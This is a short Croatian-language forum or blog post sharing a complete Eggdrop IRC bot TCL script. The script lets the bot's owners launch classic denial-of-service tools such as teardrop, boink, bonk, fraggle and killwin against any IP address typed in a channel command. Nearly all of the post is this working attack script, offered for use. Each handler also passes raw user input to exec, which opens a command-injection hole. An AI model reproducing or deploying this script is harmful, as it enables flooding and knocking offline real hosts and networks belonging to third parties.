Da i tako cekajuci odlucio sam sam krenuti da vidim kako ce ispasti!Uglavnom sintaksa na botu je .tcl exec <progy> a za ostalo sam se nacackao dok nije proradilo evo dio koda ko zeli dobiti cijelu
here it goes :
bind pub n !teardrop teardrop_ip
bind pub n !boink boink_ip
bind pub n !octopus octopus_ip
bind pub n !bonk bonk_ip
bind pub n !dnsa dnsa_ip
bind pub n !fraggle fraggle_ip
bind pub n !killwin killwin_ip
bind pub n !opentar opentear_ip
bind pub n !papa papa_ip
bind pub n !pingf pingf_ip
bind pub n !trash trash_ip
bind pub n !help
bind pub n !killer killer_ip
# Pocetak
set _owner_ "LoLeK aka liban0n"
putlog "Killer Script by : $_owner_"
# teardrop
proc teardrop_ip {nick uhost hand channel arg} {
global teardrop symbol
exec teardrop $arg
return 0
}
# boink
proc boink_ip {nick uhost hand channel arg} {
global boink symbol
exec boink $arg
return 0
}
# octopus
proc octopus_ip {nick uhost hand channel arg} {
global octopus symbol
exec octopus $arg
return 0
}
# bonk
proc bonk_ip {nick uhost hand channel arg} {
global bonk symbol
exec bonk $arg
return 0
}
# dnsa
proc dnsa_ip {nick uhost hand channel arg} {
global dnsa symbol
exec dnsa $arg
return 0
}
# fraggle
proc fraggle_ip {nick uhost hand channel arg} {
global fraggle symbol
exec fraggle $arg
return 0
}
# killwin
proc killwin_ip {nick uhost hand channel arg} {
global killwin symbol
exec killwin $arg
return 0
}
# opentear
proc opentear_ip {nick uhost hand channel arg} {
global opentear symbol
exec opentear $arg
return 0
}
# papa
proc papa_ip {nick uhost hand channel arg} {
global papa symbol
exec papa $arg
return 0
}
# pingf
proc pingf_ip {nick uhost hand channel arg} {
global pingf symbol
exec pingf $arg
return 0
}
# trash
proc trash_ip {nick uhost hand channel arg} {
global trash symbol
exec trash $arg
return 0
}
# killer
proc killer_ip {nick uhost hand channel arg} {
global killer symbol
exec killer $arg
return 0
}
# help
proc pub_help {nick uhost hand channel arg} {
global help symbol
if {$arg == "" || [llength $arg] > 1} {
putserv "NOTICE $nick : Programi na raspolaganju:"
putserv "NOTICE $nick : bonk, boink, teardrop, octopus, dnsa, pingf, killwin, papa "
putserv "NOTICE $nick : trash, opentear, killer"
putserv "NOTICE $nick : Program se pokrece sintaksom: !program IP"
putserv "NOTICE $nick : Primjer : !teardrop 123.123.123.123"
putserv "NOTICE $nick : Uzivajte u skripti :)"
putserv "NOTICE $nick : Samo owneri mogu je pokretati:PPPP"
return 1
}
}
putlog "\002KiLLeR ScRipT\002 v1.0.1 by liban0n is now loaded!@"
Eto :))Glavno da radi :))
---------------------------------
Blog of mine
http://coder4u.blogspot.com/
Eggdrop ...TCL